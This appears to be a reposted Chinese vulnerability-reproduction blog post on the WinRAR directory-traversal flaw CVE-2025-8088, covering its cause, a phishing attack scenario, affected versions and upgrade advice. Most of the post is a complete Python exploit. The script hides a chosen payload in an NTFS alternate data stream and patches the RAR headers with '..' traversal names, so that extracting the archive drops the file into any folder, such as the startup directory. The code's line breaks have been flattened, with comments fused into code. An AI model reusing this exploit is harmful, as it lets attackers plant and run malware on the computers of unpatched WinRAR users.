文章总结: WinRAR目录穿越漏洞CVE-2025-8088允许攻击者通过构造特殊相对路径绕过解压目录限制,将文件写入系统任意位置,可能导致任意代码执行。该漏洞影响WinRAR7.13以下版本,官方已发布安全补丁,建议用户及时升级至最新版本以防范风险。
综合评分: 85
文章分类: 漏洞分析,渗透测试,应用安全,漏洞预警
【漏洞复现】WinRAR 目录穿越漏洞(CVE-2025-8088)
大仙安全说
2025年11月26日 16:29
北京
以下文章来源于李火火安全阁
,作者李同學
李火火安全阁
.
专注于网络安全渗透攻防技术学习,经验知识分享!!!
声明
在网络安全领域,技术文章应谨慎使用,遵守法律法规,严禁非法网络活动。未经授权,不得利用文中信息进行入侵,造成的任何后果,由使用者自行承担,本文作者不负责。提供的工具仅限学习使用,严禁外用。
一、漏洞描述
WinRAR是一款功能强大的文件压缩和归档工具,由德国公司win.rar GmbH开发,主要用于创建和管理RAR和ZIP格式的档案文件,同时支持解压多种其他格式。主要应用于文件压缩、加密、备份和传输,帮助用户节省存储空间、加速文件共享、并提供数据保护功能。
WinRAR目录穿越漏洞是软件在处理RAR档案文件时,由于输入验证不当,导致攻击者可以通过构造特殊的相对路径(如多个”….\”)来绕过解压目录限制,将文件写入系统任意位置。这种漏洞可能导致任意代码执行、恶意软件植入或持久化攻击。
二、漏洞详情
(1) 漏洞成因
-
WinRAR在处理压缩包内文件路径时,未能正确校验文件路径,导致攻击者可以通过使用特殊构造的相对路径(如 ..)将文件释放到非预期目录。
-
该漏洞的本质是路径遍历检查机制不完善,攻击者可以绕过安全限制,将恶意文件写入系统关键位置。
(2) 攻击场景
- 攻击者可通过钓鱼邮件或恶意网站向用户发送包含恶意构造的RAR文件的链接。
- 当用户解压缩该文件时,恶意文件将被释放到系统启动目录或其他敏感位置,并在用户下次登录系统时自动执行,从而实现远程代码执行。
三、影响范围
WinRAR < 7.13
四、漏洞复现
所用工具: Process Monitor
复现环境: WinRAR 7.11 beta 1
POC如下:
import argparse, os, struct, subprocess, sys, textwrap, zlibfrom pathlib import PathRAR5 constantsRAR5_SIG = b"Rar!\x1A\x07\x01\x00"HFL_EXTRA = 0x0001HFL_DATA = 0x0002def run(cmd: str, cwd: Path | None = None, check=True) -> subprocess.CompletedProcess: cp = subprocess.run(cmd, shell=True, cwd=str(cwd) if cwd else None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True) if check and cp.returncode != 0: raise RuntimeError(f"Command failed ({cp.returncode}): {cmd}\n{cp.stdout}") return cpdef auto_find_rar(provided: str | None) -> str: if provided and Path(provided).exists(): return provided candidates = [ r"C:\Program Files\WinRAR\rar.exe", r"C:\Program Files (x86)\WinRAR\rar.exe", ] for d in os.environ.get("PATH", "").split(os.pathsep): if not d: continue p = Path(d) / "rar.exe" if p.exists(): candidates.append(str(p)) for c in candidates: if Path(c).exists(): return c raise SystemExit("[-] rar.exe not found. Pass --rar \"C:\\Path\\to\\rar.exe\"")def ensure_file(path: Path, default_text: str | None) -> None: if path.exists(): return if default_text is None: raise SystemExit(f"[-] Required file not found: {path}") path.parent.mkdir(parents=True, exist_ok=True) path.write_text(default_text, encoding="utf-8") print(f"[+] Created file: {path}")def attach_ads_placeholder(decoy_path: Path, payload_path: Path, placeholder_len: int) -> str: placeholder = "X" * placeholder_len ads_path = f"{decoy_path}:{placeholder}" data = payload_path.read_bytes() with open(ads_path, "wb") as f: f.write(data) print("[+] Attached ADS on disk") return placeholderdef build_base_rar_with_streams(rar_exe: str, decoy_path: Path, base_out: Path) -> None: if base_out.exists(): base_out.unlink() run(f'"{rar_exe}" a -ep -os "{base_out}" "{decoy_path}"')def get_vint(buf: bytes, off: int) -> tuple[int, int]: val, shift, i = 0, 0, off while True: if i >= len(buf): raise ValueError("Truncated vint") b = buf[i]; i += 1 val |= (b & 0x7F) << shift if (b & 0x80) == 0: break shift += 7 if shift > 70: raise ValueError("vint too large") return val, i - offdef patch_placeholder_in_header(hdr: bytearray, placeholder_utf8: bytes, target_utf8: bytes) -> int: """Replace ':' + placeholder with ':' + target (NUL-pad if shorter).""" needle = b":" + placeholder_utf8 count, i = 0, 0 while True: j = hdr.find(needle, i) if j < 0: break start = j + 1 old_len = len(placeholder_utf8) if len(target_utf8) > old_len: raise ValueError("Replacement longer than placeholder. Increase --placeholder_len.") hdr[start:start+len(target_utf8)] = target_utf8 if len(target_utf8) < old_len: hdr[start+len(target_utf8):start+old_len] = b"\x00" * (old_len - len(target_utf8)) count += 1 i = start + old_len return countdef rebuild_all_header_crc(buf: bytearray) -> int: """Recompute CRC32 for ALL RAR5 block headers.""" sigpos = buf.find(RAR5_SIG) if sigpos < 0: raise RuntimeError("Not a RAR5 archive (signature missing).") pos = sigpos + len(RAR5_SIG) blocks = 0 while pos + 4 <= len(buf): block_start = pos try: header_size, hsz_len = get_vint(buf, block_start + 4) except Exception: break header_start = block_start + 4 + hsz_len header_end = header_start + header_size if header_end > len(buf): break region = buf[block_start + 4:header_end] crc = zlib.crc32(region) & 0xFFFFFFFF struct.pack_into("<I", buf, block_start, crc)step forward using flags and optional DataSize i = header_start _htype, n1 = get_vint(buf, i); i += n1 hflags, n2 = get_vint(buf, i); i += n2 if (hflags & HFL_EXTRA) != 0: _extrasz, n3 = get_vint(buf, i); i += n3 datasz = 0 if (hflags & HFL_DATA) != 0: datasz, n4 = get_vint(buf, i); i += n4 pos = header_end + datasz blocks += 1 return blocksdef strip_drive(abs_path: Path) -> str: s = str(abs_path) s = s.replace("/", "\\")remove e.g. "C:\" if len(s) >= 2 and s[1] == ":": s = s[2:]trim leading slashes while s.startswith("\\"): s = s[1:] return sdef build_traversal_name(drop_abs_dir: Path, payload_name: str, max_up: int) -> str: if max_up < 3: raise SystemExit("[-] --max_up must be >= 3 to reliably reach drive root from typical user folders.") tail = strip_drive(drop_abs_dir) rel = ("\\..\\" * max_up) + tail + "\\" + payload_name if os.path.isabs(rel) and not rel.startswith("\\"): raise SystemExit("[-] Internal path error: produced an absolute name. Report this.") if len(rel) > 1024: raise SystemExit(f"[-] Traversal path too long ({len(rel)} > 1024)") return reldef patch_archive_placeholder(base_rar: Path, out_rar: Path, placeholder: str, target_rel: str) -> None: data = bytearray(base_rar.read_bytes()) sigpos = data.find(RAR5_SIG) if sigpos < 0: raise SystemExit("[-] Not a RAR5 archive (signature not found).") pos = sigpos + len(RAR5_SIG) placeholder_utf8 = placeholder.encode("utf-8") target_utf8 = target_rel.encode("utf-8") total = 0 while pos + 4 <= len(data): block_start = pos try: header_size, hsz_len = get_vint(data, block_start + 4) except Exception: break header_start = block_start + 4 + hsz_len header_end = header_start + header_size if header_end > len(data): break hdr = bytearray(data[header_start:header_end]) c = patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8) if c: data[header_start:header_end] = hdr total += cadvance i = header_start _htype, n1 = get_vint(data, i); i += n1 hflags, n2 = get_vint(data, i); i += n2 if (hflags & HFL_EXTRA) != 0: _extrasz, n3 = get_vint(data, i); i += n3 datasz = 0 if (hflags & HFL_DATA) != 0: datasz, n4 = get_vint(data, i); i += n4 pos = header_end + datasz if total == 0: raise SystemExit("[-] Placeholder not found in RAR headers. Ensure you built with -os and same placeholder.") print(f"[+] Patched {total} placeholder occurrence(s).") blocks = rebuild_all_header_crc(data) print(f"[+] Recomputed CRC for {blocks} header block(s).") out_rar.write_bytes(data) print(f"[+] Wrote patched archive: {out_rar}") print(f"[i] Injected stream name: {target_rel}")def main(): if os.name != "nt": print("[-] Must run on Windows (NTFS) to attach ADS locally.") sys.exit(1) ap = argparse.ArgumentParser(description="CVE-2025-8088 WinRAR PoC") ap.add_argument("--decoy", required=True, help="Path to decoy file (existing or will be created)") ap.add_argument("--payload", required=True, help="Path to harmless payload file (existing or will be created)") ap.add_argument("--drop", required=True, help="ABSOLUTE benign folder (e.g., \\AppData\\Roaming\\...") ap.add_argument("--rar", help="Path to rar.exe (auto-discovered if omitted)") ap.add_argument("--out", help="Output RAR filename (default: CVE-2025-8088-poc.rar)") ap.add_argument("--workdir", default=".", help="Working directory (default: current)") ap.add_argument("--placeholder_len", type=int, help="Length of ADS placeholder (auto: >= max(len(injected), 128))") ap.add_argument("--max_up", type=int, default=3, help="How many '..' segments to prefix (default: 16)") ap.add_argument("--base_out", help="Optional name for intermediate base RAR (default: <out>.base.rar)") args = ap.parse_args() workdir = Path(args.workdir).resolve() workdir.mkdir(parents=True, exist_ok=True) decoy_path = Path(args.decoy) if Path(args.decoy).is_absolute() else (workdir / args.decoy) payload_path = Path(args.payload) if Path(args.payload).is_absolute() else (workdir / args.payload) drop_abs_dir = Path(args.drop).resolve() out_rar = (workdir / args.out) if args.out and not Path(args.out).is_absolute() else (Path(args.out) if args.out else workdir / "CVE-2025-8088-poc.rar") base_rar = Path(args.base_out) if args.base_out else out_rar.with_suffix(".base.rar") ensure_file(decoy_path, "PoC\n") ensure_file(payload_path, textwrap.dedent("@echo off\n" "echo exploit is CVE-2025-8088!!!\n" "pause\n")) rar_exe = auto_find_rar(args.rar)Build injected stream name: injected_target = build_traversal_name(drop_abs_dir, payload_path.name, max_up=args.max_up) print(f"[+] Injected stream name will be: {injected_target}")Placeholder sizing ph_len = args.placeholder_len if args.placeholder_len else max(len(injected_target), 128) placeholder = attach_ads_placeholder(decoy_path, payload_path, ph_len) build_base_rar_with_streams(rar_exe, decoy_path, base_rar) patch_archive_placeholder(base_rar, out_rar, placeholder, injected_target) print("\n[V] Done.") print(f"Payload will be dropped to: {drop_abs_dir}\\{payload_path.name}") if os.path.exists(base_rar): try: os.remove(base_rar) except: passif __name__ == "__main__": main()
五、修复建议
官方已发布安全补丁,请及时升级至最新版本:WinRAR >= 7.13
官方下载链接:https://www.win-rar.com/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:大仙安全说 《【漏洞复现】WinRAR 目录穿越漏洞(CVE-2025-8088)》